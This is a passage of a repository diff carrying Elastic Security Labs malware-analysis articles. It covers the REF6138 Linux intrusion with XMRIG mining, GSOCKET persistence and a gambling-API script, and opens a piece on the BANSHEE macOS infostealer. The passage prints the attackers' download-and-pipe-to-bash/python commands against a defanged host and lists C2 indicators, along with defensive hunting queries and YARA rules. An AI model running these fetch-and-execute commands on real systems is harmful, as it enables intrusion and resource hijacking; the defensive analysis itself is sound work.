(FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.\n\n### Mining activities\n\nAfter nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the `www-data` user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called `[mm_percpu_wq]`.\n\nAfter decoding the base64 contents, we get a very familiar looking output:\n\nThrough our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab. \n\nThis command tries to download `http://gcp.pagaelrescate[.]com:8080/ifindyou` every minute, and pipe it to bash. Looking at the contents of `ifindyou`, we see the following Bash script:\n\n![Stage 1 - ifindyou.sh](/assets/images/betting-on-bots/image8.png \"Stage 1 - ifindyou.sh\")\n\nThis script gathers hostname and IP information, downloads the `SystemdXC` archive from `http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC` (XMRIG), stores this in `/tmp/SystemdXC`, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.\n\nWhen examining the mining command, we can see how the malware configures XMRIG:\n\nThis command connects to the `unmineable.com` mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address `1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz`.\n\n![Bitcoin Address Lookup](/assets/images/betting-on-bots/image1.png \"Bitcoin Address Lookup\")\n\nUpon further investigation into the Bitcoin address, we found that this address has performed a single transaction.\n\n![Bitcoin Transaction](/assets/images/betting-on-bots/image32.png \"Bitcoin Transaction\")\n\nInterestingly, the output address for this transaction points to a well-known [hot wallet](https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference) associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.\n\n![Binance Wallet Destination](/assets/images/betting-on-bots/image10.png \"Binance Wallet Destination\")\n\nWhen returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:\n\n```\ncurl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash\n```\n\nLooking at this payload, we can see the following contents:\n\n![Stage 2 - cycnet.sh](/assets/images/betting-on-bots/image23.png \"Stage 2 - cycnet.sh\")\n\nThis stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:\n\nThe cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:\n\n```\ncurl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3\n```\n\nThe downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.\n\nUpon closer examination, we identified the following key components of the script:\n\n**Global Variables:**\n\n* `usuario`: Stores the user ID for managing the session.\n* `apuesta`: Represents the bet amount.\n* `ganancias`: Tracks the winnings and losses.\n* `saldo_actual`: Holds the current account balance.\n\n![enviador_slot Global Variables](/assets/images/betting-on-bots/image3.png \"enviador_slot Global Variables\")\n\n#### Understanding the `obteneruid` Function\n\nThis function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.\n\n\n![enviador_slot obteneruid Function](/assets/images/betting-on-bots/image27.png \"enviador_slot obteneruid Function\")\n\n#### Understanding the `enviardatos` Function\n\nThis function sends game data or status updates back to `gcp.pagaelrescate[.]com`, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.\n\n![enviador_slot enviardatos Function](/assets/images/betting-on-bots/image4.png \"enviador_slot enviardatos Function\")\n\n#### Understanding the `hacerjugada` Function\n\nThe `hacerjugada` function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls `completarbono()` to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.\n\n![enviador_slot hacerjugada Function](/assets/images/betting-on-bots/image28.png \"enviador_slot hacerjugada Function\")\n\n#### Understanding the `completarbono` Function\n\nWhen a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the `enviardatos()` function.\n\n![enviador_slot completarbono Function](/assets/images/betting-on-bots/image6.png \"enviador_slot completarbono Function\")\n\n#### Likely Used for Testing Purposes\n\nIt’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.\n\n## REF6138 through MITRE ATT&CK\n\nElastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:\n\n*MITRE ATT&CK tactics, techniques and sub-techniques used*\n\n| Tactic | Technique | Sub-Technique |\n|----------------------|----------------------------------------------------|------------------------------------------------------------------------------------|\n| Resource Development | T1587: Develop Capabilities | Malware |\n| | T1588: Obtain Capabilities | Tool |\n| | T1608: Stage Capabilities | Upload Malware |\n| | | Upload Tool |\n| Initial Access | T1190: Exploit Public-Facing Application | |\n| Execution | T1059: Command and Scripting Interpreter | Unix Shell |\n| | | Python |\n| | T1053: Scheduled Task/Job | Cron |\n| Persistence | T1546: Event Triggered Execution | Unix Shell Configuration Modification |\n| | T1053: Scheduled Task/Job | Cron |\n| | T1505: Server Software Component | Web Shell |\n| Privilege Escalation | T1068: Exploitation for Privilege Escalation | |\n| Defense Evasion | T1140: Deobfuscate/Decode Files or Information | |\n| | T1222: File and Directory Permissions Modification | Linux and Mac File and Directory Permissions Modification |\n| | T1564: Hide Artifacts | Hidden Files and Directories |\n| | T1070: Indicator Removal | Timestomp |\n| | T1036: Masquerading | Masquerade Task or Service |\n| | T1027: Obfuscated Files or Information | Software Packing |\n| | | Stripped Payloads |\n| | | Command Obfuscation |\n| | | Encrypted/Encoded File |\n| Discovery | T1057: Process Discovery | |\n| | T1082: System Information Discovery | |\n| | T1061: System Network Configuration Discovery | |\n| | T1049: System Network Connections Discovery | |\n| | T1007: System Service Discovery | |\n| Collection | T1119: Automated Collection | |\n| | T1005: Data from Local System | |\n| Command and Control | T1071: Application Layer Protocol | Web Protocols |\n| | T1132: Data Encoding | Standard Encoding |\n| | T1001: Data Obfuscation | |\n| | T1573: Encrypted Channel | Symmetric Cryptography |\n| | T1105: Ingress Tool Transfer | |\n| | T1571: Non-Standard Port | |\n| | T1572: Protocol Tunneling | |\n| | T1102: Web Service | |\n| Impact | T1496: Resource Hijacking | |\n\n## **Detecting REF6138**\n\nElastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.\n\n### Detection\n\nThe following detection rules were observed throughout the analysis of this intrusion set:\n\n* [Segfault Detection](https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml)\n* [Timestomping using Touch Command](https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml)\n* [Shell Configuration Creation or Modification](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml)\n* [System Binary Moved or Copied](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml)\n\n### Prevention\n\nThe following behavior prevention events were observed throughout the analysis of this intrusion set:\n\n* [Linux Reverse Shell via Suspicious Utility](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml)\n* [Defense Evasion via Bind Mount](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml)\n* [Linux Suspicious Child Process Execution via Interactive Shell](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml)\n* [Potential Linux Hack Tool Launched](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml)\n* [Privilege Escalation via PKEXEC Exploitation](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml)\n* [Potential SSH-IT SSH Worm Downloaded](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml)\n* [Scheduled Job Executing Binary in Unusual Location](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml)\n\nThe following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:\n\n* [Linux.Generic.Threat](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar)\n* [Linux.Hacktool.Flooder](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar)\n\nThe following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:\n\n* Potential Shell via Web Server\n* Potential Web Server Code Injection\n* Potential Shell Executed by Web Server User\n* Decode Activity via Web Server\n* Linux Telegram API Request\n* Suspicious Echo Execution\n\n### Hunting queries in Elastic\n\nThe events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\n\n#### EQL queries\n\nUsing the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:\n\n**Potential XMRIG Execution**\n\nThe following EQL query can be used to hunt for XMRIG executions within your environment.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and (\n (\n process.args in (\"-a\", \"--algo\") and process.args in (\n \"gr\", \"rx/graft\", \"cn/upx2\", \"argon2/chukwav2\", \"cn/ccx\", \"kawpow\", \"rx/keva\", \"cn-pico/tlo\", \"rx/sfx\", \"rx/arq\",\n \"rx/0\", \"argon2/chukwa\", \"argon2/ninja\", \"rx/wow\", \"cn/fast\", \"cn/rwz\", \"cn/zls\", \"cn/double\", \"cn/r\", \"cn-pico\",\n \"cn/half\", \"cn/2\", \"cn/xao\", \"cn/rto\", \"cn-heavy/tube\", \"cn-heavy/xhv\", \"cn-heavy/0\", \"cn/1\", \"cn-lite/1\",\n \"cn-lite/0\", \"cn/0\"\n )\n ) or\n (\n process.args == \"--coin\" and process.args in (\"monero\", \"arqma\", \"dero\")\n )\n) and process.args in (\"-o\", \"--url\")\n```\n\n**MSR Write Access Enabled**\n\nXMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and process.name == \"modprobe\" and\nprocess.args == \"msr\" and process.args == \"allow_writes=on\"\n```\n\n**Potential GSOCKET Activity**\n\nThis activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET. \n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\nprocess.command_line : (\n\"*GS_ARGS=*\", \"*gs-netcat*\", \"*gs-sftp*\", \"*gs-mount*\", \"*gs-full-pipe*\", \"*GS_NOINST=*\", \"*GSOCKET_ARGS=*\", \"*GS_DSTDIR=*\", \"*GS_URL_BASE=*\", \"*GS_OSARCH=*\", \"*GS_DEBUG=*\", \"*GS_HIDDEN_NAME=*\", \"*GS_HOST=*\", \"*GS_PORT=*\", \"*GS_TG_TOKEN=*\", \"*GS_TG_CHATID=*\", \"*GS_DISCORD_KEY=*\", \"*GS_WEBHOOK_KEY=*\"\n)\n```\n\n**Potential Process Masquerading via Exec**\n\nGSOCKET leverages the `exec -a` method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently. \n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and process.command_line : \"* exec -a *\"\n```\n\n**Renice or Ulimit Execution**\n\nSeveral malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and (\n process.name in (\"ulimit\", \"renice\") or (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n process.command_line : (\"*ulimit*\", \"*renice*\")\n )\n)\n```\n\n**Inexistent Cron(d) Service Started**\n\nBoth KAIJI and RUDEDEVIL establish persistence through the creation of a `cron(d)` service in `/etc/init.d/cron(d)`. `Cron`, by default, does not use a `SysV Init` service. Execution of a `cron(d)` service is suspicious, and should be analyzed further.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and \n process.name == \"systemctl\" and process.args == \"start\" and process.args in \n (\"cron.service\", \"crond.service\", \"cron\", \"crond\")\n```\n\n**Suspicious /etc/ Process Execution from KAIJI**\n\nThe `/etc/` directory is not a commonly used directory for process executions. KAIJI is known to place a binary called `32678` and `id.services.conf` in the `/etc/` directory, to establish persistence and evade detection.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and (process.executable regex \"\"\"/etc/[0-9].*\"\"\" or process.executable : (\"/etc/*.conf\", \"/etc/.*\"))\n```\n\n**Hidden File Creation in /dev/ directory**\n\nCreating hidden files in `/dev/` and `/dev/shm/` are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as `K4SPREADER` are known to drop hidden files in these locations.\n\n```\nfile where event.type == \"creation\" and file.path : (\"/dev/shm/.*\", \"/dev/.*\")\n```\n\n**Suspicious Process Execution from Parent Executable in /boot/**\n\nMalwares such as KAIJI and XORDDOS are known to place executable files in the `/boot/` directory, and leverage these to establish persistence while attempting to evade detection.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and process.parent.executable : \"/boot/*\"\n```\n\n#### YARA\n\nElastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom `Apache2` malware:\n\n```\nrule Linux_Trojan_Generic {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-20\"\n os = \"Linux\"\n arch = \"x86\"\n threat_name = \"Linux.Trojan.Generic\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }\n $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }\n $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }\n $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }\n $key = \"yyyyyyyy\"\n condition:\n 1 of ($enc*) and $key\n}\n```\n\nTo detect GSOCKET, including several of its adjacent tools, we created the following signature:\n\n```\nrule Multi_Hacktool_Gsocket {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-23\"\n os = \"Linux, MacOS\"\n arch = \"x86\"\n threat_name = \"Multi.Hacktool.Gsocket\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $str1 = \"gsocket: gs_funcs not found\"\n $str2 = \"/share/gsocket/gs_funcs\"\n $str3 = \"$GSOCKET_ARGS\"\n $str4 = \"GSOCKET_SECRET\"\n $str5 = \"GS_HIJACK_PORTS\"\n $str6 = \"sftp -D gs-netcat\"\n $str7 = \"GS_NETCAT_BIN\"\n $str8 = \"GSOCKET_NO_GREETINGS\"\n $str9 = \"GS-NETCAT(1)\"\n $str10 = \"GSOCKET_SOCKS_IP\"\n $str11 = \"GSOCKET_SOCKS_PORT\"\n $str12 = \"gsocket(1)\"\n $str13 = \"gs-sftp(1)\"\n $str14 = \"gs-mount(1)\"\n condition:\n 3 of them\n}\n```\n\nFinally, the following signature was written to detect the [open source Ligolo-ng tool](https://github.com/nicocha30/ligolo-ng), as we have reason to believe this tool was used during this intrusion.\n\n\n```\nrule Linux_Hacktool_LigoloNG {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-20\"\n os = \"Linux\"\n arch = \"x86\"\n threat_name = \"Linux.Hacktool.LigoloNG\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $a = \"https://github.com/nicocha30/ligolo-ng\"\n $b = \"@Nicocha30!\"\n $c = \"Ligolo-ng %s / %s / %s\"\n condition:\n all of them\n}\n```\n\n### Defensive recommendations\n\nTo effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:\n\n1. **Keep Your Elastic Detection Rules Updated and Enabled**: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.\n2. **Enable Prevention Mode in Elastic Defend**: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.\n3. **Monitor Alerts and Logs**: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.\n4. **Conduct Threat Hunting**: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.\n5. **Implement Web Application Firewalls (WAFs)**: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.\n6. **Enforce Strong Authentication for SSH**: Use public/private key authentication for SSH access to protect against brute force attacks.\n7. **Write Secure Code**: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.\n8. **Regularly Patch and Update Systems**: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.\n\nBy following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.\n\n## Observations\n\nThe following observables were discussed in this research. These are available for download in STIX or ECS format [here](https://github.com/elastic/labs-releases/tree/main/indicators/ref6138).\n\n| Observable | Type | Name | Reference |\n|-------------------------------------------------------------------------------------------------|-------------|------------------------|------------------------------------|\n| 72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f | SHA-256 | SystemdXC | XMRIG |\n| 82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684 | SHA-256 | apache2 | apache2_unpacked |\n| 0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd | SHA-256 | apache2_upx_packed | apache2_upx_packed |\n| 9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e | SHA-256 | download.sh | KAIJI Stager |\n| 1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79 | SHA-256 | linux_386 | KAIJI x86 |\n| d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8 | SHA-256 | linux_amd64 | KAIJI x64 |\n| ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b | SHA-256 | linux_arm5 | KAIJI ARM5 |\n| 792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6 | SHA-256 | linux_arm6 | KAIJI ARM6 |\n| e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4 | SHA-256 | linux_arm64 | KAIJI ARM64 |\n| 3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745 | SHA-256 | linux_arm7 | KAIJI ARM7 |\n| fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0 | SHA-256 | linux_mips | KAIJI MIPS |\n| 6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55 | SHA-256 | linux_mips64 | KAIJI MIPS64 |\n| 0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814 | SHA-256 | linux_mips64el | KAIJI MIPS64 little-endian |\n| 310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988 | SHA-256 | linux_mips_softfloat | KAIJI MIPS softfloat |\n| 0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527 | SHA-256 | linux_mipsel | KAIJI MIPS little-endian |\n| 36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196 | SHA-256 | linux_mipsel_softfloat | KAIJI MIPS little-endian softfloat |\n| 3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f | SHA-256 | linux_ppc64 | KAIJI PPC64 |\n| 7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7 | SHA-256 | linux_ppc64el | KAIJI PPC64 little-endian |\n| 09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7 | SHA-256 | l64_v0 | RUDEDEVIL/LUFICER x64 version 0 |\n| ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46 | SHA-256 | l64_v1 | RUDEDEVIL/LUFICER x64 version 1 |\n| 160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a | SHA-256 | l64_v2 | RUDEDEVIL/LUFICER x64 version 2 |\n| 89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055 | SHA-256 | l64_v3 | RUDEDEVIL/LUFICER x64 version 3 |\n| 20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b | SHA-256 | l86_v0 | RUDEDEVIL/LUFICER x86 version 0 |\n| 728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c | SHA-256 | l86_v1 | RUDEDEVIL/LUFICER x86 version 1 |\n| 47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40 | SHA-256 | l86_v2 | RUDEDEVIL/LUFICER x86 version 2 |\n| e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5 | SHA-256 | l86_v3 | RUDEDEVIL/LUFICER x86 version 3 |\n| d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60 | SHA-256 | hjvhg.exe | Miner |\n| 54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de | SHA-256 | mvhhvcp3.exe | DONUT LOADER |\n| 9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976 | SHA-256 | vdfgb.exe | Miner |\n| http://gcp.pagaelrescate[.]com:8080/ifindyou | url | ifindyou.sh | Stage 1 |\n| http://gcp.pagaelrescate[.]com:8080/cycnet | url | cycnet.sh | Stage 2 |\n| http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | url | Enviador_slot.py | Stage 3 |\n| http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC | url | SystemdXC | XMRIG |\n| http://38.54.125[.]192:8080/nginx-rc | url | nginx-rc | LIGOLO-NG |\n| http://62.72.22[.]91/apache2 | url | apache2 | Custom Malware |\n| http://62.72.22[.]91/apache2v86 | url | apache2v86 | Custom Malware |\n| http://91.92.241[.]103:8002/gk.php | url | gk.php | PHP Backdoor |\n| http://hfs.t1linux[.]com:7845/scdsshfk | url | scdsshfk | XMRIG |\n| gcp.pagaelrescate[.]com | domain-name | | REF Hosting domain |\n| nishabii[.]xyz | domain-name | | RUDEDEVIL C2 |\n| 3.147.53[.]183 | ipv4-addr | | Python Reverse Shell C2 |\n| 38.54.125[.]192 | ipv4-addr | | C2 Server |\n| 107.178.101[.]245 | ipv4-addr | | Malware File Server (Rejetto) |\n| 62.72.22[.]91 | ipv4-addr | | Server Hosting Malware |\n| 91.92.241[.]103 | ipv4-addr | | C2 Server |\n| 61.160.194[.]160 | ipv4-addr | | Server Hosting Malware |\n| 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL | XMR Wallet | | RUDEDEVIL/LUFICER mining wallet |\n| 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc | XMR Wallet | | RUDEDEVIL/LUFICER mining wallet |\n| 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz | BTC Wallet | | XMRIG mining wallet |\n\n## References\n\nThe following were referenced throughout the above research:\n\n* [https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html](https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html)\n* [https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/](https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/)\n* [https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities](https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities)\n* [https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/](https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/)\n* [https://github.com/hackerschoice/gsocket](https://github.com/hackerschoice/gsocket)" + }, + "title": "Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse", + "slug": "betting-on-bots", + "date": "2024-09-27", + "description": "The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.", + "author": [ + { + "slug": "remco-sprooten" + }, + { + "slug": "ruben-groenewoud" + } + ], + "image": "betting-on-bots.jpg", + "category": [ + { + "slug": "malware-analysis" + }, + { + "slug": "attack-pattern" + } + ], + "tags": [ + "linux", + "kaiji", + "rudedevil", + "gsocket", + "cryptomining" + ] + }, + "id": "security_labs_content-betting_on_bots-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-beyond_the_wail-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-beyond_the_wail-md.json new file mode 100644 index 00000000000..f580b1535a6 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-beyond_the_wail-md.json @@ -0,0 +1,29 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Beyond the wail: deconstructing the BANSHEE infostealer\"\nslug: \"beyond-the-wail\"\ndate: \"2024-08-15\"\ndescription: \"The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency wallets.\"\nauthor:\n - slug: elastic-security-labs\nimage: \"beyond-the-wail.jpg\"\ncategory:\n - slug: malware-analysis\ntags:\n - macos\n - infostealer\n - BANSHEE\n---\n\n## Preamble\n\nIn August 2024, a novel macOS malware named \"BANSHEE Stealer\" emerged, catching the attention of the cybersecurity community. Reportedly developed by Russian threat actors, BANSHEE Stealer was introduced on an underground forum and is designed to function across both macOS x86_64 and ARM64 architectures. \n\nThis malware presents a severe risk to macOS users, targeting vital system information, browser data, and cryptocurrency wallets.\n\nWith a steep monthly subscription price of $3,000, BANSHEE Stealer stands out in the market, particularly compared to known stealers like AgentTesla. \n\nAs macOS increasingly becomes a prime target for cybercriminals, BANSHEE Stealer underscores the rising observance of macOS-specific malware. This analysis explores the technical details of BANSHEE Stealer, aiming to help the community understand its impact and stay informed about emerging threats.\n\n\n![Source: https://x.com/privacyis1st/status/1822948909670408573](/assets/images/beyond-the-wail/image2.png \"Source: https://x.com/privacyis1st/status/1822948909670408573\")\n\n## Key takeaways\n\n* BANSHEE Stealer highlights the growing number of macOS malware samples as the OS becomes a more attractive target for cyber threats.\n* BANSHEE Stealer's $3,000 monthly price is notably high compared to Windows-based stealers.\n* BANSHEE Stealer targets a wide range of browsers, cryptocurrency wallets, and around 100 browser extensions, making it a highly versatile and dangerous threat.\n\n## Malware Analysis\n\nThe malware we analyzed in this research contained all the C++ symbols, which is interesting as we can guess the project's code structure by knowing these source code file names, as seen in the picture below. Looking into the C++-generated global variable initialization functions, we can find values set automatically/manually by the user during the build process, like the remote IP, encryption key, build ID, etc.\n\n![Functions list that initialize the global variables of every source file](/assets/images/beyond-the-wail/image5.png \"Functions list that initialize the global variables of every source file\")\n\nThe following table summarizes the leaked `.cpp` file names through the symbols in the binary.\n\n| File name | Description |\n|----------------|----------------------------------------------------------------------------------------------------------------------|\n| `Controller.cpp` | Manages core execution tasks, including anti-debugging measures, language checks, data collection, and exfiltration. |\n| `Browsers.cpp` | Handles the collection of data from various web browsers. |\n| `System.cpp` | Executes AppleScripts to gather system information and perform password phishing. |\n| `Tools.cpp` | Provides utility functions for encryption, directory creation, and compression etc. |\n| `Wallets.cpp` | Responsible for collecting data from cryptocurrency wallets. |\n\n### Debugger, VM Detection, and Language Checks\n\n![Checking for debugging, Virtualization, and the language of the machine](/assets/images/beyond-the-wail/image8.png \"Checking for debugging, Virtualization, and the language of the machine\")\n\nBANSHEE Stealer uses basic 